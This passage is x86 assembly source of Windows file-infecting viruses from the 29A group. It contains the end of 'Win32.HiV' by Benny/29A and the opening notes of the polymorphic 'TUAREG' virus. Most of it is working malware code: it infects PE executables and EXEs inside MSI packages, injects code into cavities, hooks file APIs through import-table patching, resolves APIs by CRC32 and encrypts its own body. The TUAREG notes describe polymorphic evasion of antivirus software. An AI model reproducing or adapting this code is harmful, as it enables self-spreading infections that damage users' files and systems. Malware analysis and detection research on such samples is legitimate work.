add [ebx.NT_OptionalHeader.OH_SizeOfInitializedData],eax
;and size of initialized data
rs_ok: cmp dword ptr [ebx.NT_OptionalHeader.OH_CheckSum],0
je no_csum ;no need to calculate new checksum

@pushsz 'Imagehlp'
@imghlp:call [ebp + a_LoadLibraryA - gd]
test eax,eax ;load IMAGEHLP.DLL
je no_csum ;quit if error
xchg eax,edi

@pushsz 'CheckSumMappedFile'
push edi
call [ebp + a_GetProcAddress - gd]
test eax,eax ;get address of CheckSumMappedFile API
je un_csum ;quit if error

lea ecx,[ebx.NT_OptionalHeader.OH_CheckSum]
push ecx ;where to store new checksum
call $+9
dd ? ;old checksum
push 12345678h ;size of infected file
mapped_file_size = dword ptr $-4
push dword ptr [ebp + lpFile - gd]
call eax ;calculate new checksum

un_csum:call unload_lib ;unload library


no_csum:and dword ptr [ebp + cut_or_not - gd],0
jmp end_file ;infection succeed, quit...

;this procedure can infect EXE file inside MSI


infect_msi:
;at this point:
; EBX - start of PE header
; ECX - start of MZ header
; EDX - start of host (.)code
; ESI - WFD record
; EDI - start of last section

mov [ebp + r2rp - gd],ebx ;set !0 - victim program


push dword ptr [ebx.NT_OptionalHeader.OH_BaseOfCode]
mov eax,ecx
call rva2raw ;get base of code
pop esi
mov edi,esi
mov ecx,[ebx.NT_OptionalHeader.OH_SizeOfCode]
;size of code
include cse.inc ;find cave inside EXE file

push edi
mov edi,[edx+ebx+IMAGE_SIZEOF_FILE_HEADER+4]
cmp edi,'xet.' ;is the first section ".text"?
je cc_msi
cmp edi,'EDOC' ;or ".CODE"?
je cc_msi
pop edi ;no, quit
ret
cc_msi: pop edi
mov ecx,[ebx.NT_OptionalHeader.OH_AddressOfEntryPoint]
mov eax,ecx
sub eax,[ebx+edx+SH_VirtualAddress+IMAGE_SIZEOF_FILE_HEADER+4]
;get entrypoint RVA to EAX
push eax
mov eax,ecx
mov [ebp + msi_entrypoint - gd],eax ;save old entrypoint
mov eax,[ebx.NT_OptionalHeader.OH_ImageBase]
add [ebp + msi_entrypoint - gd],eax ;in RAW format
pop eax

push esi
sub esi,edi
sub esi,eax ;set new entrypoint
add [ebx.NT_OptionalHeader.OH_AddressOfEntryPoint],esi
pop edi

lea esi,[ebp + msi_start - gd]


mov ecx,msi_end-msi_start
rep movsb ;copy there MSI bug-code
ret ;end quit

no_cave_found:
popad ;no cave inside EXE file found,
ret ;restore all registers and quit
CheckInfect EndP
;this procedure can allocate memory (8192 bytes)
mem_alloc:
push PAGE_READWRITE
push MEM_RESERVE or MEM_COMMIT
push 8192
push 0
call [ebp + a_VirtualAlloc - gd]
ret

;this procedure can deallocate already memory (8192 bytes)


mem_dealloc:
push MEM_DECOMMIT
push 8192
push esi
call [ebp + a_VirtualFree - gd]

push MEM_RELEASE
push 0
push esi
call [ebp + a_VirtualFree - gd]
ret

;this procedure can retrieve API addresses


get_apis Proc
pushad
@SEH_SetupFrame <jmp q_gpa>
lea esi,[ebp + crc32s - gdelta] ;get ptr to CRC32 values of APIs
lea edi,[ebp + a_apis - gdelta] ;where to store API addresses
push crc32c ;how many APIs do we need
pop ecx ;in ECX...
g_apis: push eax ;save K32 base
call get_api
stosd ;save address
test eax,eax
pop eax
je q_gpa ;quit if not found
add esi,4 ;move to next CRC32 value
loop g_apis ;search for API addresses in a loop
jmp end_seh ;and quit
q_gpa: @SEH_RemoveFrame
popad
pop eax
jmp end_host ;quit if error
get_apis EndP

a_go: inc esi ;jump over alignments


inc esi
pushad ;store all registers
xor edx,edx ;zero EDX
xchg eax,esi
push 2
pop ecx
div ecx
test edx,edx
je end_align ;no alignments needed
inc eax
end_align:
mul ecx ;align API name
mov [esp.Pushad_esi],eax
popad ;restore all registers
ret ;and quit from procedure
;this procedure can patch API calls (both of MS and Borland style)
patch_IT Proc
pushad ;store all registers
@SEH_SetupFrame <jmp endPIT> ;setup SEH frame
call itDlta
itDelta:db 0b8h
itDlta: pop ebp
mov [ebp + gmh - itDelta],eax ;save it
mov ebx,[eax.MZ_lfanew] ;get to PE header
add ebx,eax ;make pointer raw
push dword ptr [ebx.NT_OptionalHeader.OH_DirectoryEntries.DE_Import.DD_VirtualAddress]
call rva2raw
pop edx
sub edx,IMAGE_SIZEOF_IMPORT_DESCRIPTOR
push edi
n_dll: pop edi
add edx,IMAGE_SIZEOF_IMPORT_DESCRIPTOR
mov ecx,12345678h
inet_k32 = dword ptr $-4
jecxz szInet
@getsz 'KERNEL32.dll',edi
jmp o_inet
szInet: @getsz 'WININET.dll',edi
o_inet: mov esi,[edx]
test esi,esi
je endPIT
sdll: push dword ptr [edx.ID_Name]
call rva2raw
pop esi
push edi
cmpsd ;is it our library?
jne n_dll
cmpsd
jne n_dll
cmpsd
jne n_dll
pop edi
xor ecx,ecx ;zero counter
push dword ptr [edx.ID_OriginalFirstThunk] ;get first record
call rva2raw
pop esi
push dword ptr [esi] ;get first API name
call rva2raw
pop esi
pit_align:
call a_go
push esi ;store pointer
@endsz ;get to the end of API name
mov edi,esi
sub edi,[esp] ;move size of API name to EDI
pop esi ;restore pointer
push eax ;store EAX
call CRC32 ;calculate CRC32 of API name
cmp eax,[esp.cPushad+10h] ;check, if it is requested API
je a_ok ;yeah, it is
inc ecx
mov eax,[esi] ;check, if there is next API
test eax,eax ;...
pop eax ;restore EAX
jne pit_align ;yeah, check it
jmp endPIT ;no, quit
a_ok: pop eax ;restore EAX
push dword ptr [edx.ID_FirstThunk] ;get address to IAT
call rva2raw
pop edx
mov eax,[edx+ecx*4] ;get address
mov [esp.Pushad_eax+8],eax ;and save it to stack
pushad ;store all registers
mov eax,0 ;get base address of program
gmh = dword ptr $-4
mov ebx,[eax.MZ_lfanew]
add ebx,eax ;get PE header
;get base of code
push dword ptr [ebx.NT_OptionalHeader.OH_BaseOfCode]
call rva2raw ;normalize
pop esi ;to ESI
mov ecx,[ebx.NT_OptionalHeader.OH_SizeOfCode]
pushad ;and its size
call p_var
dd ?
p_var: push PAGE_EXECUTE_READWRITE
push ecx
push esi ;allow to modify protected code
call [ebp + a_VirtualProtect - itDelta]
popad
sJMP: mov dl,[esi] ;get byte from code
inc esi
cmp dl,0FFh ;is it JMP/CALL?
jne lJMP ;check, if it is
cmp byte ptr [esi],25h ;JMP DWORD PTR [XXXXXXXXh]
je gIT1
cmp byte ptr [esi],15h ;or CALL DWORD PTR [XXXXXXXXh]
jne lJMP
mov dl,0E8h
jmp gIT2
gIT1: mov dl,0E9h
gIT2: mov [ebp + j_or_c - itDelta],dl ;change opcode
mov edi,[ebx.NT_OptionalHeader.OH_DirectoryEntries.DE_Import.DD_VirtualAddress]
add edi,[ebx.NT_OptionalHeader.OH_DirectoryEntries.DE_Import.DD_Size]
push ecx
mov ecx,[ebx.NT_OptionalHeader.OH_ImageBase]
add edi,ecx
push ebp
mov ebp,[esi+1]
sub ebp,ecx
push ebp
call rva2raw
pop ebp
sub ebp,eax
add ebp,ecx
sub edi,ebp
pop ebp
pop ecx
js lJMP ;check, if it is correct address
push ecx
push edx ;store EDX
mov edx,[esp.Pushad_ecx+8] ;get counter
imul edx,4 ;multiply it by 4
add edx,[esp.Pushad_edx+8] ;add address to IAT to ptr
sub edx,eax
mov ecx,[esi+1]
sub ecx,[ebx.NT_OptionalHeader.OH_ImageBase]
push ecx
call rva2raw
pop ecx
sub ecx,eax
cmp edx,ecx ;is it current address
pop edx
pop ecx ;restore EDX
jne sJMP ;no, get next address
mov eax,[esi+1]
mov [esp.cPushad.Pushad_eax+8],eax ;store register to stack
mov [esp.Pushad_esi],esi ;for l8r use
popad ;restore all registers

mov byte ptr [esi-1],0E9h ;build JMP or CALL


j_or_c = byte ptr $-1
mov ebx,[esi+1]
mov eax,[esp.cPushad+10h] ;get address
add eax,[ebp + gmh - itDelta]
sub eax,esi ;- current address
sub eax,4 ;+1-5
mov [esi],eax ;store built jmp instruction
mov byte ptr [esi+4],90h
xchg eax,ebx
jmp endIT ;and quit
lJMP: dec ecx
jecxz endPIT-1
jmp sJMP ;search in a loop
popad ;restore all registers
endPIT: xor eax,eax
mov [esp.Pushad_eax+8],eax
endIT: @SEH_RemoveFrame ;remove SEH frame
popad ;restore all registers
ret 8 ;and quit
patch_IT EndP

;this procedure can converting RVAs to RAW pointers


rva2raw:pushad ;store all registers
mov ecx,12345678h ;0 if actual host program
r2rp = dword ptr $-4
jecxz nr2r
mov edx,[esp.cPushad+4]
movzx ecx,word ptr [ebx.NT_FileHeader.FH_NumberOfSections]
movzx esi,word ptr [ebx.NT_FileHeader.FH_SizeOfOptionalHeader]
lea esi,[esi+ebx+IMAGE_SIZEOF_FILE_HEADER+4]
n_r2r: mov edi,[esi.SH_VirtualAddress] ;search inside section
add edi,[esi.SH_VirtualSize] ;headerz for matches
cmp edx,edi
jb c_r2r
add esi,IMAGE_SIZEOF_SECTION_HEADER
loop n_r2r
popad ;restore all registers
ret ;and quit
nr2r: add [esp.cPushad+4],eax
popad ;restore all registers
ret ;and quit
c_r2r: add eax,[esi.SH_PointerToRawData] ;correct RVA to RAW pointer
add eax,edx
sub eax,[esi.SH_VirtualAddress]
mov [esp.cPushad+4],eax ;save it
popad
ret

;this procedure can open file - used in resident mode


;input: EBX - filename to open
resCreate_FileA Proc
and dword ptr [ebp + cfa_patch - gd],0
xor eax,eax
push eax
push FILE_ATTRIBUTE_NORMAL
db 6ah ;PUSH SHORT
cfa_flagz db OPEN_EXISTING
push eax
push eax
push GENERIC_READ or GENERIC_WRITE
push ebx
call [ebp + a_CreateFileA - gd]
mov [ebp + cfa_patch - gd],ebp
ret
resCreate_FileA EndP

;this procedure can open file - used in non-resident mode


;input: EBX - filename to open
Create_FileA Proc
xor eax,eax
push eax
push FILE_ATTRIBUTE_NORMAL
push OPEN_ALWAYS
push eax
push eax
push GENERIC_READ or GENERIC_WRITE
push ebx
call [ebp + a_CreateFileA - gdelta]
ret
Create_FileA EndP

;this procedure can create file mapping object - used in non-resident mode
;input: EAX - opened handle of file
Create_FileMappingA Proc
cdq
push edx
push edx
push edx
push PAGE_READWRITE
push edx
push eax
call [ebp + a_CreateFileMappingA - gdelta]
ret
Create_FileMappingA EndP

;this procedure can map view of file - used in non-resident mode


;input: ECX - opened handle of file mapping object
Map_ViewOfFile Proc
push 0
push 0
push 0
push FILE_MAP_WRITE
push ecx
call [ebp + a_MapViewOfFile - gdelta]
ret
Map_ViewOfFile EndP

;this procedure can convert number to ASCII decimal format


;input: EAX - number
;output: [EDI] - stored ASCII number
Num2Ascii Proc
push esi
push edi
lea edi,[ebp + dec_buff - gdelta]

push 10
pop ecx
g_str: xor edx,edx
div ecx
add edx,'0'
xchg eax,edx
stosb
xchg eax,edx
test eax,eax
jne g_str
pop esi
xchg esi,edi
dec esi
cpy_num:std
lodsb
cld
stosb
cmp al,11h
jne cpy_num
dec edi
xor al,al
stosb
pop esi
ret
Num2Ascii EndP

;this is MSI loader - virus places this procedure into EXE files inside MSIs
msi_start Proc
pushad
call mdelta
mdelta: pop ebp ;get delta offset
call get_base ;get base of K32
test eax,eax
je end_msi

push eax
call crc32m1
dd 04134D1ADh ;LoadLibraryA
dd 0AFDF191Fh ;FreeLibrary
dd 0FFC97C1Fh ;GetProcAddress
crc32m1:pop esi
call get_api ;get addresses of these APIs
xchg eax,ecx
pop eax
test ecx,ecx
je end_msi
push eax
add esi,4
call get_api ;...
xchg eax,edi
test edi,edi
pop eax
je end_msi
add esi,4
push eax
call get_api ;...
xchg eax,edx
test edx,edx
pop eax
je end_msi

push edx
@pushsz 'USER32'
call ecx ;load USER32.DLL library
xchg eax,esi
test esi,esi
pop edx
je end_msi

@pushsz 'MessageBoxA'
push esi
call edx ;get address of MessageBoxA API
xchg eax,ecx
test ecx,ecx
je freelib

push 1000h
@pushsz '[Win32.HiV] by Benny/29A'
szTitle:call szMsg
p_msg: db 'This cell has been infected by HIV virus, generation: '
gcount: db '0000000000',0
szMsg: push 0
call ecx ;show lame message :)

freelib:push esi
call edi ;unload USER32.DLL

end_msi:popad
mov eax,offset ExitProcess
msi_entrypoint = dword ptr $-4
jmp eax ;and quit to host

;this procedure can get base address of K32


get_base Proc
push ebp ;store EBP
call gdlt ;get delta offset
gdlt: pop ebp ;to EBP

mov eax,12345678h ;get lastly used address


last_kern = dword ptr $-4
call check_kern ;is this address valid?
jecxz end_gb ;yeah, we got the address

call gb_table ;jump over the address table


dd 077E00000h ;NT/W2k
dd 077E80000h ;NT/W2k
dd 077ED0000h ;NT/W2k
dd 077F00000h ;NT/W2k
dd 0BFF70000h ;95/98
gb_table:
pop edi ;get pointer to address table
push 4 ;get number of items in the table
pop esi ;to ESI
gbloop: mov eax,[edi+esi*4] ;get item
call check_kern ;is address valid?
jecxz end_gb ;yeah, we got the valid address
dec esi ;decrement ESI
test esi,esi ;end of table?
jne gbloop ;nope, try next item

call scan_kern ;scan the address space for K32


end_gb: pop ebp ;restore EBP
ret ;quit

check_kern: ;check if K32 address is valid


mov ecx,eax ;make ECX != 0
pushad ;store all registers
@SEH_SetupFrame <jmp end_ck> ;setup SEH frame
movzx edx,word ptr [eax] ;get two bytes
add edx,-"ZM" ;is it MZ header?
jne end_ck ;nope
mov ebx,[eax.MZ_lfanew] ;get pointer to PE header
add ebx,eax ;normalize it
mov ebx,[ebx] ;get four bytes
add ebx,-"EP" ;is it PE header?
jne end_ck ;nope
xor ecx,ecx ;we got K32 base address
mov [ebp + last_kern - gdlt],eax ;save K32 base address
end_ck: @SEH_RemoveFrame ;remove SEH frame
mov [esp.Pushad_ecx],ecx ;save ECX
popad ;restore all registers
ret ;if ECX == 0, address was found

SEH_hndlr macro ;macro for SEH


@SEH_RemoveFrame ;remove SEH frame
popad ;restore all registers
add dword ptr [ebp + bAddr - gdlt],1000h ;explore next page
jmp bck ;continue execution
endm

scan_kern: ;scan address space for K32


bck: pushad ;store all registers
@SEH_SetupFrame <SEH_hndlr> ;setup SEH frame
mov eax,077000000h ;starting/last address
bAddr = dword ptr $-4
movzx edx,word ptr [eax] ;get two bytes
add edx,-"ZM" ;is it MZ header?
jne pg_flt ;nope
mov edi,[eax.MZ_lfanew] ;get pointer to PE header
add edi,eax ;normalize it
mov ebx,[edi] ;get four bytes
add ebx,-"EP" ;is it PE header?
jne pg_flt ;nope
mov ebx,eax
mov esi,eax
add ebx,[edi.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAddress]
add esi,[ebx.ED_Name]
mov esi,[esi]
add esi,-'NREK'
je end_sk
pg_flt: xor ecx,ecx ;we got K32 base address
mov [ecx],esi ;generate PAGE FAULT! search again...
end_sk: mov [ebp + last_kern - gdlt],eax ;save K32 base address
@SEH_RemoveFrame ;remove SEH frame
mov [esp.Pushad_eax],eax ;save EAX - K32 base
popad ;restore all registers
ret
get_base EndP
;this procedure can retrieve address of given API
get_api Proc
pushad ;store all registers
@SEH_SetupFrame <jmp end_gpa>;setup SEH frame
mov edi,[eax.MZ_lfanew] ;move to PE header
add edi,eax ;...
mov ecx,[edi.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_Size]
jecxz end_gpa ;quit if no exports
mov ebx,eax
add ebx,[edi.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAddress]
mov edx,eax ;get address of export table
add edx,[ebx.ED_AddressOfNames] ;address of API names
mov ecx,[ebx.ED_NumberOfNames] ;number of API names
mov edi,edx
push dword ptr [esi] ;save CRC32 to stack
mov ebp,eax
xor eax,eax
APIname:push eax
mov esi,ebp ;get base
add esi,[edx+eax*4] ;move to API name
push esi ;save address
@endsz ;go to the end of string
sub esi,[esp] ;get string size
mov edi,esi ;move it to EDI
pop esi ;restore address of API name
call CRC32 ;calculate CRC32 of API name
cmp eax,[esp+4] ;is it right API?
pop eax
je g_name ;yeah, we got it
inc eax ;increment counter
loop APIname ;and search for next API name
pop eax
end_gpa:xor eax, eax ;set flag
ok_gpa: @SEH_RemoveFrame ;remove SEH frame
mov [esp.Pushad_eax],eax ;save value to stack
popad ;restore all registers
ret ;quit from procedure
g_name: pop edx
mov edx,ebp
add edx,[ebx.ED_AddressOfOrdinals]
movzx eax,word ptr [edx+eax*2]
cmp eax,[ebx.ED_NumberOfFunctions]
jae end_gpa-1
mov edx,ebp ;base of K32
add edx,[ebx.ED_AddressOfFunctions] ;address of API functions
add ebp,[edx+eax*4] ;get API function address
xchg eax,ebp ;we got address of API in EAX
jmp ok_gpa ;quit
get_api EndP

CRC32: push ecx ;procedure for calculating CRC32s


push edx ;at run-time
push ebx
xor ecx,ecx
dec ecx
mov edx,ecx
NextByteCRC:
xor eax,eax
xor ebx,ebx
lodsb
xor al,cl
mov cl,ch
mov ch,dl
mov dl,dh
mov dh,8
NextBitCRC:
shr bx,1
rcr ax,1
jnc NoCRC
xor ax,08320h
xor bx,0EDB8h
NoCRC: dec dh
jnz NextBitCRC
xor ecx,eax
xor edx,ebx
dec edi
jne NextByteCRC
not edx
not ecx
pop ebx
mov eax,edx
rol eax,16
mov ax,cx
pop edx
pop ecx
ret
msi_end:
msi_start EndP

;CRC32s of APIz
crc32s: dd 0DCF6E06Ch ;GetEnvironmentVariableA
dd 033D350C4h ;OpenProcess
dd 068624A9Dh ;CloseHandle
dd 019F33607h ;CreateThread
dd 079C3D4BBh ;VirtualProtect
dd 0FFC97C1Fh ;GetProcAddress
dd 04A27089Fh ;ReadProcessMemory
dd 00E9BBAD5h ;WriteProcessMemory
dd 056E1B657h ;VirtualProtectEx
dd 0D4AFA114h ;VirtualQueryEx
dd 04402890Eh ;VirtualAlloc
dd 02AAD1211h ;VirtualFree
dd 0DA89FC22h ;VirtualAllocEx
dd 03C19E536h ;SetFileAttributesA
dd 08C892DDFh ;CreateFileA
dd 096B2D96Ch ;CreateFileMappingA
dd 0797B49ECh ;MapViewOfFile
dd 094524B42h ;UnmapViewOfFile
dd 085859D42h ;SetFilePointer
dd 059994ED6h ;SetEndOfFile
dd 04B2A3E7Dh ;SetFileTime
dd 0CC09D51Eh ;DeviceIoControl
dd 0AE17EBEFh ;FindFirstFileA
dd 0AA700106h ;FindNextFileA
dd 0C200BE21h ;FindClose
dd 04134D1ADh ;LoadLibraryA
dd 0AFDF191Fh ;FreeLibrary
dd 021777793h ;WriteFile
dd 0DE256FDEh ;DeleteFileA
dd 004DCF392h ;GetModuleFileNameA
dd 082B618D4h ;GetModuleHandleA
dd 052E3BEB1h ;IsDebuggerPresent
dd 0EF7D811Bh ;GetFileSize
dd 054D8615Ah ;ReadFile
crc32c = ($-crc32s)/4 ;number of APIz

;CRC32s of APIz for hooking


crcRes: dd 0AE17EBEFh ;FindFirstFileA
dd 0AA700106h ;FindNextFileA
dd 05BD05DB1h ;CopyFileA
dd 02308923Fh ;MoveFileA
dd 08C892DDFh ;CreateFileA
crcResCount = ($-crcRes)/4

;pointerz to pointerz to APIz in memory


posRes: dd offset posFindFirstFileA
dd offset posFindNextFileA
dd offset posCopyFileA
dd offset posMoveFileA
dd offset posCreateFileA

;pointerz to API hookerz


newRes: dd offset newFindFirstFileA-Start
dd offset newFindNextFileA-Start
dd offset newCopyFileA-Start
dd offset newMoveFileA-Start
dd offset newCreateFileA-Start

;pointerz to memory where will be saved 5 original bytes of APIz


oldRes: dd offset oldFindFirstFileA
dd offset oldFindNextFileA
dd offset oldCopyFileA
dd offset oldMoveFileA
dd offset oldCreateFileA

db 11h
end_virus: ;end of virus in file
dec_buff db 10 dup (?)

align 4
a_apis: ;addresses of APIs
a_GetEnvironmentVariableA dd ?
a_OpenProcess dd ?
a_CloseHandle dd ?
a_CreateThread dd ?
a_VirtualProtect dd ?
a_GetProcAddress dd ?
a_ReadProcessMemory dd ?
a_WriteProcessMemory dd ?
a_VirtualProtectEx dd ?
a_VirtualQueryEx dd ?
a_VirtualAlloc dd ?
a_VirtualFree dd ?
a_VirtualAllocEx dd ?
a_SetFileAttributesA dd ?
a_CreateFileA dd ?
a_CreateFileMappingA dd ?
a_MapViewOfFile dd ?
a_UnmapViewOfFile dd ?
a_SetFilePointer dd ?
a_SetEndOfFile dd ?
a_SetFileTime dd ?
a_DeviceIoControl dd ?
a_FindFirstFileA dd ?
a_FindNextFileA dd ?
a_FindClose dd ?
a_LoadLibraryA dd ?
a_FreeLibrary dd ?
a_WriteFile dd ?
a_DeleteFileA dd ?
a_GetModuleFileNameA dd ?
a_GetModuleHandleA dd ?
a_IsDebuggerPresent dd ?
a_GetFileSize dd ?
a_ReadFile dd ?

WFD WIN32_FIND_DATA ? ;WIN32_FIND_DATA structure

mbi: dd ? ;MEMORY_BASIC_INFORMATION
dd
? ;structure needed by
dd
? ;VirtualQueryEx API
reg_size dd ? ;number of pages with same rights*size of one page
reg_state dd ? ;state of page(s)
dd ?
dd ?
mbi_size = dword ptr $-mbi

reg_buffer db MAX_PATH dup (?);some bufferz with multiply


wab_buffer db MAX_PATH dup (?);usage

MAPIMessage dd 12 dup (?) ;MAPI message


MsgFrom dd 6 dup (?) ;Sender structure
MsgTo dd 5*6 dup (?) ;Recipient structure
MAPIFileDesc dd 6 dup (?) ;Attachment structure

mails db 22h*5 dup (?) ;space for 5 mail addresses


;extracted from address book
virtual_end: ;end of virus in memory

.code ;first generation code


FirstGeneration:
pushad ;encrypt virus body
mov esi,offset encrypted
mov edi,esi
mov ecx,(end_virus-encrypted+3)/4
encrypt:lodsd
xor eax,12345678h ;encrypt virus
stosd
loop encrypt
popad

enter 0,0 ;prolog of procedure


push ebx
push esi
push edi
E_EPO: jmp Start ;jump to virus code
;(will be overwritten by
;procedure's epilog)
;size of virus raw data
db 0dh,0ah,'Virus size in file: '
db '0'+((end_virus-Start)/1000) mod 10
db '0'+((end_virus-Start)/100) mod 10
db '0'+((end_virus-Start)/10) mod 10
db '0'+((end_virus-Start)/1) mod 10

;virtual size of virus


db 0dh,0ah,'Virus size in memory: '
db '0'+((virtual_end-Start)/1000) mod 10
db '0'+((virtual_end-Start)/100) mod 10
db '0'+((virtual_end-Start)/10) mod 10
db '0'+((virtual_end-Start)/1) mod 10
db 0dh,0ah

ends ;end of first generation code


End FirstGeneration ;end of everything :)
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[HIV.ASM]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[CSE.INC]ÄÄÄ
;-----------------------------------------------------------------------------
; Cavity search engine Benny and Darkman of 29A
;
; Calling parameters:
; ECX = size of search area
; ESI = pointer to search area
;
; Return parameters:
; ESI = pointer to cave
;
; Changed registers:
; EAX, EBX, ECX, EDX, ESI

CSE: pushad
lodsb ; AL = byte within search area
reset_cavity_loop:
xchg eax,ebx ; BL = " " " "
xor edx,edx ; Zero EDX
dec ecx ; Decrease counter
jecxz no_cave_found ; Zero ECX? Jump to no_cave_found
find_cave_loop:
lodsb ; AL = byte within search area
cmp al,bl ; Current byte equal to previous byte?
jne reset_cavity_loop ; Not equal? Jump to reset_cavity_loop
inc edx ; Increase number of bytes found in
; cave
cmp edx,msi_end-msi_start ; Found a cave large enough?
jne find_cave_loop ; Not equal? Jump to find_cave_loop
sub esi,msi_end-msi_start ; ESI = pointer to cave
mov [esp.Pushad_esi],esi
popad

;-----------------------------------------------------------------------------
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[CSE.INC]ÄÄÄ
;;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;;ßßÛßßß Û ÛßßÛ ÛßÛÜ Ûßßß Ûßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;;Þ Û Û Û Û Û Û ÜÛ Û Û ÄÄÄÄÄÄÄÄÄ Designed to carry the ÄÄÄÄÄ Ý Þ ÜÝ ÞßÝÜÝ
;;Þ Û Û Û ÛßßÛ ÛßÛÜ Ûßß Û ßÛ ÄÄÄ TUAREG polymorphing engine ÄÄÄ Þ Ý Ý ÜÝ Ý
;;Þ Û ÛÜÜÛ Û Û Û Û ÛÜÜÜ ÛÜÜÛ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Û ÝÜÞÜÜ Ý
;;Þ ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
;;Þ
;;ÞÝ ßßÛßß ÛÛ ÞÛ ÛÜÜ Ý ÞÛßÝ Þ Ý Û ÞßßÝ ÞßßÛ ÞßßÝ
;;ÞÝ ÛÞ ÛÞ ÝÛ ÞÝ Ý ÞÝ ÞÝ ßÞ Ý ÞÝ Û Û Û Þ Û Û
;;ÞßÝÝ Ý ÝÞßÛÞÛÝ Ý Û ÝÞÛÝÛßÛÞ ßßÝÝ Þ Þ ÛßÞÞ ÝÞÛÝÞÛß Û Þ ßßÛ ÛßßÛ
;;ÞÜÝÛÜÝ ÝÞ ÞÞÜÜ Ý ÝÞÜÜÞ ÞÞ ÛÛÝÛ ÞÜÜÝ Ý ÞÞÝÛÞÜÜÞ ÞÝ ÜÛÛÜÜ ÜÜÛÞÝ ÞÝ
;;ÄÄÄÄÄÝÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;; ßß
;; This virus is designed to carry the Tameless Unpredictable Anarchic Relent-
;; less Encryption Generator (TUAREG), so I decided to name the virus as the
;; engine. Apart from generating extremely polymorphic samples, the virus does
;; other things apart from carrying the engine.
;;
;; This is the version 1.21. The version 1.0 was sent to AVers before the re-
;; lease of this version in 29A#5, so I have had time to improve some things,
;; correct some bugs and make new features, like more complex garbage on de-
;; cryptors, the routine for zeroing the memory before terminate the program,
;; etc. The version 1.1 was sent too, but too late I realized of a "bug" in
;; the infection procedure (but NOT in the TUAREG) that made some programs to
;; refuse execution, so I corrected some lines of code, added some others, im-
;; proved the TUAREG engine greatly (now it's v1.01) and I call from all that
;; I got "TUAREG v1.21".
;;
;; In this version:
;; Virus total binary size: 20994 bytes
;; Infection virtual and physical size: 65536 bytes
;; Binary size of TUAREG: 12951 bytes (only main engine)
;; Average size of a generated decryptor: 9.26 Kb
;;
;; Technical notes:
;;------------------
;; - It infects all *.EXEs, *.SRCs and *.CPLs on current, windows and
;; windows\system directories, and the programs set for execution at
;; windows startup.
;;
;; - It's also a per-process resident, patching the next functions:
;; GetProcAddress, CreateFileA, CreateProcessA, FindFirstFileA,
;; FindNextFileA, GetFileAttributesA, SetFileAttributesA, GetFullPathNameA,
;; MoveFileA, CopyFileA, DeleteFileA, WinExec, _lopen, MoveFileExA and
;; OpenFile. ExitProcess is also patched, but for special actions.
;;
;; - The RVAs of the functions are obtained scanning the export directory
;; of KERNEL32, doing a checksum of the name of every function and compa-
;; ring it with the stored checksums on the virus. When someone coincides,
;; then the corresponding RVA is set on the virus' calling address.
;;
;; - On infection, it'll place the generated decryptors on .text section,
;; and the .reloc section will be anulated, renamed and overwritten with
;; the encrypted data and the overwritten code of .text. If it's not big
;; enough, its size will be increased until all the stuff fit in it. If
;; there isn't any .reloc section, then a new section with a random name
;; will be added (if there is enough space in the EXE header).
;;
;; - Then, the infection mark will be: if there's a .reloc section, the
;; file isn't infected, and neither if the .rsrc section is the last. If
;; .rsrc section isn't the last section of all, the file won't be infected,
;; since it could be already. I know it isn't the best system, but I was
;; tired of coding :). In the future I'll do a less noticeable infection.
;;
;; - The virus is polymorphic, using the TUAREG. Moreover, a little also
;; polymorphic decryptor (to avoid cryptanalisis) has been put. It's not as
;; polymorphic as TUAREG generated ones (well, compared to the TUAREG gene-
;; rated decryptors, the little one shouldn't be called "a decryptor" :),
;; but well...
;;
;; Notes about the TUAREG
;;--------------------------
;; TUAREG has been a neverending project practically since I entered in the
;; viruscene. My initial releases didn't resemble in any way with the result
;; (this one), but in spite of this fact, I'm thousands of times more proud
;; of this result than ever, since I didn't expected such a complexity after
;; a so easy coding of it (well, not sooooo easy, but it was not like coding
;; the MeDriPolEn, where there were things that I didn't know what they do,
;; although they functioned well :), but I knew every moment what was expected
;; for every portion of code).
;; After correcting some little bugs (and not so little, but dark ones), I
;; got very surprised with the result. Oh, errmh... if I explain first what
;; the engine does, maybe the explanations will be easier :). So let's see:
;;
;; - The TUAREG is based in two main techniques that I explain in the article
;; called "Advanced decryptor construction", which are PRIDE and Branching.
;; PRIDE (Pseudo-Random Index DEcryption) avoids linear decryption, seeming
;; a normal access of an application over its data, and Branching avoids the
;; linear execution of a decryption loop, since it can execute sixteen types
;; of different code that performs exactly the same action, so there isn't
;; any manner of knowing the behaviour of the engine (which path is going
;; to take everytime) without emulation.
;;
